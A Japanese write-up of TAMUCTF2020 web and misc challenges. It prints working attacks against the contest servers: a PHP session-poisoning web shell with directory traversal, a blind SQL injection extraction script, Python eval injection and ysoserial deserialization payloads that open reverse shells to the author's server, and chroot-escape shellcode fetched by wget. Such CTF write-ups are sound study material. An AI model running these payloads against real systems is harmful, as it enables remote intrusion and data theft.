久しぶりのCTF。
TAMUCTF2020のWeb問題を全完したのでwriteupを書く。ついでにMISCも2問ほど。
手頃な難易度でした。
- CREDITS
- TOO_MANY_CREDITS_1
- FILESTORAGE
- PASSWORD_EXTRACTION
- MENTALMATH
- TOO_MANY_CREDITS_2
- GEOGRAPHY
- NOT_SO_GREAT_ESCAPE
CREDITS
Question
Try testing out this new credit system that I just created! http://credits.tamuctf.com/ Hint: Credit generation is rate limited. It is literally impossible to generate 2,000,000,000 credits within the CTF timeframe. Don't be that guy.
ログイン前

ログイン後

Solution
Generate credit!ボタンを押すと1クレジット増えるシステム。クレジットを増やしてFlagを購入できると勝ち。
リクエストを見ると、increment=1を送信している。2000000000に改ざんしてクレジットを一気に増やしてフラグを購入する。
gigem{serverside_53rv3r5163_SerVeRSide}
TOO_MANY_CREDITS_1
Question
Okay, fine, there's a lot of credit systems. We had to put that guy on break; seriously concerned about that dude. Anywho. We've made an actually secure one now, with Java, not dirty JS this time. Give it a whack? If you get two thousand million credits again, well, we'll just have to shut this program down. http://toomanycredits.tamuctf.com

Solution
Get Moreボタンを押すと1クレジット増えるシステム。
Cookieに、Base64文字列がセットされており、押下ごとに変化する。
root@kali:~# curl -v http://toomanycredits.tamuctf.com/
* Trying 34.208.211.186:80...
* TCP_NODELAY set
* Connected to toomanycredits.tamuctf.com (34.208.211.186) port 80 (#0)
> GET / HTTP/1.1
> Host: toomanycredits.tamuctf.com
> User-Agent: curl/7.69.0-DEV
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.16.1
< Date: Fri, 20 Mar 2020 14:22:06 GMT
< Content-Type: text/html;charset=UTF-8
< Content-Length: 454
< Connection: keep-alive
< Set-Cookie: counter="H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA=="; Version=1; HttpOnly
< Content-Language: en-US
<
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<title>Java Credits</title>
</head>
<body>
<main role="main">
<form>
<h2>
<span>You have 1 credits.</span>
<span> You haven't won yet...</span>
</h2>
<button type="submit">Get More</button>
</form>
</main>
</body>
</html>
デコードするとgzipで圧縮されたデータのようなので、それも展開すると、Javaのシリアライズされたオブジェクトのようだ。
SerializationDumperで確認する。
github.com
root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020# echo -n H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA== | base64 -d | gzip -d > 1credit.ser
root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020# java -jar /opt/SerializationDumper/SerializationDumper.jar -r ./1credit.ser
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 45 - 0x00 2d
Value - com.credits.credits.credits.model.CreditCount - 0x636f6d2e637265646974732e637265646974732e637265646974732e6d6f64656c2e437265646974436f756e74
serialVersionUID - 0x32 09 db 12 14 09 24 47
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01
Fields
0:
Long - L - 0x4a
fieldName
Length - 5 - 0x00 05
Value - value - 0x76616c7565
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 01
classdata
com.credits.credits.credits.model.CreditCount
values
value
(long)1 - 0x00 00 00 00 00 00 00 01
同パッケージの同名クラスを作成して、多額のクレジットを持ったインスタンスを生成して、シリアライズする。
serialVersionUIDを合わせないと、サーバ側でデシリアライズ時に弾かれるので注意。
package com.credits.credits.credits.model; import java.io.Serializable; import java.math.*; public class CreditCount implements Serializable { private static final long serialVersionUID = 3605653847378830407L; long value; public CreditCount(){ this.value = Long.MAX_VALUE - 1; } }
シリアライズするクラスは以下のとおり。
package com.credits.credits.credits.model; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.io.FileNotFoundException; import java.io.IOException; public class SerializeTest { public static void main(String[] args) { try { ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("CreditCount.ser")); CreditCount creditCount = new CreditCount(); o.writeObject(creditCount); o.close(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } }
コンパイルして、GZIP圧縮およびBASE64エンコードしてCookieにセットする。
root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020/TOO_MANY_CREDITS# javac com/credits/credits/credits/model/*.java
root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020/TOO_MANY_CREDITS# java com.credits.credits.credits.model.SerializeTest
root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020/TOO_MANY_CREDITS# gzip -c CreditCount.ser | base64 -w0
H4sICOMkd14AA0NyZWRpdENvdW50LnNlcgBb85aBtbiIQTc5P1cvuSg1JbOkGIPOzU9JzdFzBvOc80vzSow4bwuJcKq4MzEwejGwliXmlKZWFNT/B4N/AB/mH3VSAAAA
root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020/TOO_MANY_CREDITS# curl toomanycredits.tamuctf.com -b "counter=H4sICOMkd14AA0NyZWRpdENvdW50LnNlcgBb85aBtbiIQTc5P1cvuSg1JbOkGIPOzU9JzdFzBvOc80vzSow4bwuJcKq4MzEwejGwliXmlKZWFNT/B4N/AB/mH3VSAAAA"
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<title>Java Credits</title>
</head>
<body>
<main role="main">
<form>
<h2>
<span>You have 9223372036854775807 credits.</span>
<span> gigem{l0rdy_th15_1s_mAny_cr3d1ts}</span>
</h2>
<button type="submit">Get More</button>
</form>
</main>
</body>
</html>
gigem{l0rdy_th15_1s_mAny_cr3d1ts}
なお、valueをLong.MAX_VALUE - 1;にしている理由は、サーバ側のインクリメント処理でオーバーフローして、大金持ちが一転して多額の借金を抱える羽目になるのを防ぐためである。
FILESTORAGE
Question
Try out my new file sharing site! http://filestorage.tamuctf.com
ログイン前

ログイン後

Solution
最初に任意の名前を入力してログインする。
その後の画面にディレクトリトラバーサルの脆弱性がある。
PHPのセッションファイルを指定可能であるため、nameにPHPのコードをセットしてからセッションファイルを読ませると、セッションファイル内のnameの部分でコード実行できる。
最初に、cmdパラメータをそのままOSコマンドとして実行するコードをnameに設定する。
root@kali:~/node_work# curl http://filestorage.tamuctf.com/index.php -d 'name=<?php system($_GET["cmd"]);?>' -v
* Trying 34.208.211.186:80...
* TCP_NODELAY set
* Connected to filestorage.tamuctf.com (34.208.211.186) port 80 (#0)
> POST /index.php HTTP/1.1
> Host: filestorage.tamuctf.com
> User-Agent: curl/7.69.0-DEV
> Accept: */*
> Content-Length: 34
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 34 out of 34 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.16.1
< Date: Sat, 21 Mar 2020 03:50:13 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 568
< Connection: keep-alive
< X-Powered-By: PHP/7.3.15
< Set-Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
<html>
<head>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
</head>
<body>
Hello, <?php system($_GET["cmd"]);?><br><ul class="list-group mx-2"><li class="list-group-item my-1"><a href='?file=beemovie.txt'>beemovie.txt</a></li><li class="list-group-item my-1"><a href='?file=hello.txt'>hello.txt</a></li><li class="list-group-item my-1"><a href='?file=pi.txt'>pi.txt</a></li></ul> </body>
</html>
* Connection #0 to host filestorage.tamuctf.com left intact
lsコマンドを実行。うまくいっているようだ。
root@kali:~# curl http://filestorage.tamuctf.com/ -H "Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6" -GET -d "file=../../../../../tmp/sess_49j9g92r7e29ns6dl57kpp80o6&cmd=ls" --output -
<html>
<head>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
</head>
<body>
<a class="btn btn-primary" href="index.php" role="button">🡄 Go back</a><br>name|s:29:"files
index.html
index.php
"; </body>
</html>
/ディレクトリにflag_is_hereディレクトリを発見。
root@kali:~# curl http://filestorage.tamuctf.com/ -H "Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6" -GET -d "file=../../../../../tmp/sess_49j9g92r7e29ns6dl57kpp80o6&cmd=ls%20/" --output -
<html>
<head>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
</head>
<body>
<a class="btn btn-primary" href="index.php" role="button">🡄 Go back</a><br>name|s:29:"bin
dev
etc
flag_is_here
home
lib
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
"; </body>
</html>
root@kali:~# curl http://filestorage.tamuctf.com/ -H "Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6" -GET -d "file=../../../../../tmp/sess_49j9g92r7e29ns6dl57kpp80o6&cmd=ls%20/flag_is_here" --output -
<html>
<head>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
</head>
<body>
<a class="btn btn-primary" href="index.php" role="button">🡄 Go back</a><br>name|s:29:"flag.txt
"; </body>
</html>
flag.txtファイルを表示する。
root@kali:~# curl http://filestorage.tamuctf.com/ -H "Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6" -GET -d "file=../../../../../tmp/sess_49j9g92r7e29ns6dl57kpp80o6&cmd=cat%20/flag_is_here/flag.txt" --output -
<html>
<head>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
</head>
<body>
<a class="btn btn-primary" href="index.php" role="button">🡄 Go back</a><br>name|s:29:"gigem{535510n_f1l3_p0150n1n6}"; </body>
</html>
gigem{535510n_f1l3_p0150n1n6}
PASSWORD_EXTRACTION
Question
The owner of this website often reuses passwords. Can you find out the password they are using on this test server? http://passwordextraction.tamuctf.com You do not need to use brute force for this challenge.

Solution
usernameでBlind SQL Injectonが可能。
information_schemaからテーブル名を取得し、password列を取得。列名は画面の項目名と同じだった。
実行結果はソースコードのコメントに記載。
#!/usr/bin/env python # -*- coding: utf-8 -*- import requests import string import time URL = 'http://passwordextraction.tamuctf.com/login.php' target = "" def trace_request(req): print("[+] request start") print('{}\n{}\n\n{}'.format( req.method + ' ' + req.url, '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()), req.body, )) print("[+] request end") def trace_response(res): print("[+] response start") print('{}\n{}\n\n{}'.format( res.status_code, '\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()), res.content, )) print("[+] response end") def challenge(offset, guess): req = requests.Request( 'POST', URL, data={ #"username" : "' or ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 0,1),{},1)) < {} #".format(offset + 1, guess), #Output: #[+] target: accounts "username" : "' or ASCII(SUBSTRING((select password from accounts limit 0,1),{},1)) < {} #".format(offset + 1, guess), #Output: #[+] target: gigem{h0peYouScr1ptedTh1s} "password" : "aaaa" } ) prepared = req.prepare() #trace_request(prepared) session = requests.Session() #start = time.time() # TimeBased用 res = session.send(prepared, allow_redirects = False) #elapsed_time = time.time() - start # TimeBased用 #trace_response(res) if "successfully" in res.content.decode("utf-8"): return True # 取得したい文字の文字コードは予想文字の文字コードより小さい else: return False # 取得したい文字の文字コードは予想文字の文字コード以上 def binarySearch(offset): low = 0 high = 256 while low <= high: guess = (low + high) // 2 is_target_lessthan_guess = challenge(offset, guess) if is_target_lessthan_guess: high = guess else: low = guess if high == 1: return -1 elif high - low == 1: return low while True: code = binarySearch(len(target)) if code == -1: break target += chr(code) print("[+] target: " + target) print("[+] target: " + target)
gigem{h0peYouScr1ptedTh1s}
MENTALMATH
Question
My first web app, check it out! http://mentalmath.tamuctf.com Hint: I don't believe in giving prizes for solving questions, no matter how many!


Solution
簡単な数式が出されて、正解すると次の問題が出題されるWebサイト。
リクエストを観察すると、項目入力の都度、problemに数式、answerに入力値をセットし、送信している。
root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -d 'problem=9*91' -d 'answer=819'
{"correct": true, "problem": "23 - 29"}
root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -d 'problem=9*91' -d 'answer=811'
{"correct": false}
サーバ側で、problemをevalのような関数に渡していると推測。
root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -d 'problem=ord("a")' -d 'answer=97'
{"correct": true, "problem": "10 * 56"}
root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -d 'problem=ord("b")' -d 'answer=97'
{"correct": false}
ビンゴ。
リバースシェルを張るコードを送り込む。
root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
-H "X-Requested-With: XMLHttpRequest" \
-d 'answer=97' -d 'problem=__import__("os").system("nc -e /bin/sh <myserver> <port>")'
接続が来た。
root@ip-172-31-6-71:/opt/vim# nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 34.208.211.186 37674 received!
ls
db.sqlite3
flag.txt
manage.py
mathgame
mentalmath
requirements.txt
cat flag.txt
gigem{1_4m_g0od_47_m4tH3m4aatics_n07_s3cUr1ty_h3h3h3he}
gigem{1_4m_g0od_47_m4tH3m4aatics_n07_s3cUr1ty_h3h3h3he}
TOO_MANY_CREDITS_2
Question
Even if you could get the first flag, I bet you can't pop a shell! http://toomanycredits.tamuctf.com
Solution
TOO_MANY_CREDITS_2の続き。 問題文より、shellを取れば勝ちのようだ。
Javaのシリアライズといえばysoserial。
github.com
エラーメッセージに「Whitelabel Error Page」と出力されている。Springフレームワークのようだ。 Spring用のペイロードが使用できそうだ。
以下のシェルスクリプトを実行し、ncコマンドで自サーバにコネクトバックを試すと接続が来た。 (コメントアウトしている部分は総当たり用。今回はSpringと分かっている。)
#!/bin/sh command="nc <myserver> <port>" #for Payload in BeanShell1 C3P0 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Wicket1 for Payload in Spring1 do echo ${Payload} counter=`java -jar ysoserial-master-SNAPSHOT.jar ${Payload} "${command}" | gzip -c | base64 -w0` echo ${counter} curl toomanycredits.tamuctf.com -H "Accept: text/html" -b "counter=${counter}" done
しかし、リバースシェルが張れない。
調べると、以下の記事がHIT。少し改造が必要なようだ。
medium.com
gitからソースコードを取得して改造する。
src/main/java/ysoserial/payloads/util/Gadgets.java
//String cmd = "java.lang.Runtime.getRuntime().exec(\"" + // command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + // "\");"; String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\"}).waitFor();";
dockerを使用してコンパイルする。
root@kali:/opt/ysoserial# docker build ./ -t ysoserial Sending build context to Docker daemon 793.6kB (snip) Successfully built 77a3baf72e1d Successfully tagged ysoserial:latest
dockerでコンパイルしたysoserialを使用するよう、シェルスクリプトを手直しして実行する。
#!/bin/sh command="exec 5<>/dev/tcp/<myserver>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done" #for Payload in BeanShell1 C3P0 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Wicket1 for Payload in Spring1 do echo ${Payload} counter=`docker run ysoserial ${Payload} "${command}" | gzip -c | base64 -w0` echo ${counter} curl toomanycredits.tamuctf.com -H "Accept: text/html" -b "counter=${counter}" done
リバースシェルを張れた。
ubuntu@ip-172-31-6-71:~$ nc -lnvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 34.208.211.186 59288 received!
ls
bin
flag.txt
lib
cat flag.txt
gigem{da$h_3_1s_A_l1f3seNd}
gigem{da$h_3_1s_A_l1f3seNd}
GEOGRAPHY
Question
My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 11000001100101000011101111011111.
She's always been a bit cryptic. She told me to "surround with gigem{} that which can be seen from a bird's eye view"... what?
Solution
floatに変換。
>>> struct.unpack('>f', 0b11000010100011000111111111101110.to_bytes(4, byteorder='big'))
(-70.24986267089844,)
>>> struct.unpack('>f', 0b11000001100101000011101111011111.to_bytes(4, byteorder='big'))
(-18.529233932495117,)
緯度・経度のようになった。
https://www.google.com/maps/search/-18.529233932495117+-70.24986267089844
GoogleMap上で、コカ・コーラの地上絵らしきものを発見。
gigem{Coca-Cola}
NOT_SO_GREAT_ESCAPE
Question
We've set up a chroot for you to develop your musl code in. It's bare, so install whatever you need.
Feel free to log in with a raw TCP socket at challenges.tamuctf.com:4353.
The password is "(snip)"
Solution
まずはncで接続する。
root@kali:~# nc challenge.tamuctf.com 4353 Password: 2ff6b0b9733a294cb0e0aeb7269dea5ae05d2a2de569e8464b5967c6c207548e / # ^[[37;5Rpwd pwd /
少々、文字が化けているが、接続できた。
問題文より、chrootから脱獄する問題だと予想。
以下の記事を参考にする。
inaz2.hatenablog.com
自サーバで実行ファイルを作成し、問題サーバからダウンロードできるようにWebサーバに公開。
root@ip-172-31-6-71:/var/www/html# cat ./loader.c
/* loader.c */
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char code[] = "\x6a\x2f\x48\x89\xe7\x6a\x50\x58\x0f\x05\x5e\x66\xbe\xed\x01\x56\x48\x89\xe7\x6a\x53\x58\x0f\x05\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x7f\x5e\x48\x31\xff\x66\xbf\x2e\x2e\x57\x48\x89\xe7\x6a\x50\x58\x0f\x05\x48\xff\xce\x75\xf6\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x3b\x58\x48\x99\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
printf("strlen(code) = %ld\n", strlen(code));
((void (*)())code)();
return 0;
}
root@ip-172-31-6-71:/var/www/html# gcc -static -zexecstack loader.c
root@ip-172-31-6-71:/var/www/html# ll ./a.out
-rwxr-xr-x 1 root root 844736 Mar 22 10:47 ./a.out*
実行ファイルをダウンロードして実行して脱獄。(化けている部分は編集)
/ # cd /tmp cd /tmp /tmp # wget http://13.113.186.8/a.out wget http://13.113.186.8/a.out Connecting to 13.113.186.8 (13.113.186.8:80) saving to 'a.out' a.out 100% |********************************| 824k 0:00:00 ETA 'a.out' saved /tmp # chmod 777 ./a.out chmod 777 ./a.out /tmp # ./a.out ./a.out strlen(code) = 89 / #
脱獄後に、ルートディレクトリを確認すると、pwnディレクトリが存在。
/ # ls -la /
ls -la /
total 64
drwxr-xr-x 1 root root 4096 Mar 19 01:57 .
drwxr-xr-x 1 root root 4096 Mar 19 01:57 ..
-rwxr-xr-x 1 root root 0 Mar 19 01:57 .dockerenv
drwxr-xr-x 2 root root 4096 Jan 16 21:52 bin
drwxr-xr-x 5 root root 340 Mar 22 13:27 dev
drwxr-xr-x 1 root root 4096 Mar 19 01:57 etc
drwxr-xr-x 2 root root 4096 Jan 16 21:52 home
drwxr-xr-x 1 root root 4096 Jan 16 21:52 lib
drwxr-xr-x 5 root root 4096 Jan 16 21:52 media
drwxr-xr-x 2 root root 4096 Jan 16 21:52 mnt
drwxr-xr-x 2 root root 4096 Jan 16 21:52 opt
dr-xr-xr-x 1646 root root 0 Mar 22 13:27 proc
drwxr-xr-x 1 root root 4096 Mar 17 23:34 pwn
drwx------ 2 root root 4096 Jan 16 21:52 root
drwxr-xr-x 2 root root 4096 Jan 16 21:52 run
drwxr-xr-x 2 root root 4096 Jan 16 21:52 sbin
drwxr-xr-x 2 root root 4096 Jan 16 21:52 srv
dr-xr-xr-x 13 root root 0 Mar 20 01:16 sys
drwxrwxrwt 3 root root 60 Mar 22 13:30 tmp
drwxr-xr-x 1 root root 4096 Jan 16 21:52 usr
drwxr-xr-x 1 root root 4096 Jan 16 21:52 var
/ # cd /pwn
cd /pwn
/pwn # ls -la
ls -la
total 20
drwxr-xr-x 1 root root 4096 Mar 17 23:34 .
drwxr-xr-x 1 root root 4096 Mar 19 01:57 ..
-rw-rw-r-- 1 root root 25 Mar 17 21:49 flag.txt
drwxr-xr-x 1 root root 4096 Mar 17 23:34 jail
-rwxrwxr-x 1 root root 468 Mar 17 21:49 not-so-great-escape
/pwn # cat flag.txt
cat flag.txt
gigem{up_up_&_a_way_0u7}
参考までに、ログイン時に実行されるとみられるnot-so-great-escapeファイルは以下のとおり。
#!/bin/sh
chroot_dir=$(mktemp -d)
function cleanup {
rm -rf ${chroot_dir}
}
trap cleanup EXIT
read -sp "Password: " password
echo
if [[ -z "${password}" || "(snip)" != "${password}" ]]; then
echo -e "Bad password. Exiting."
exit 1
fi
cp -r /pwn/jail/* ${chroot_dir}
cp /etc/apk/repositories ${chroot_dir}/etc/apk/repositories
cp /etc/resolv.conf ${chroot_dir}/etc/resolv.conf
chroot ${chroot_dir}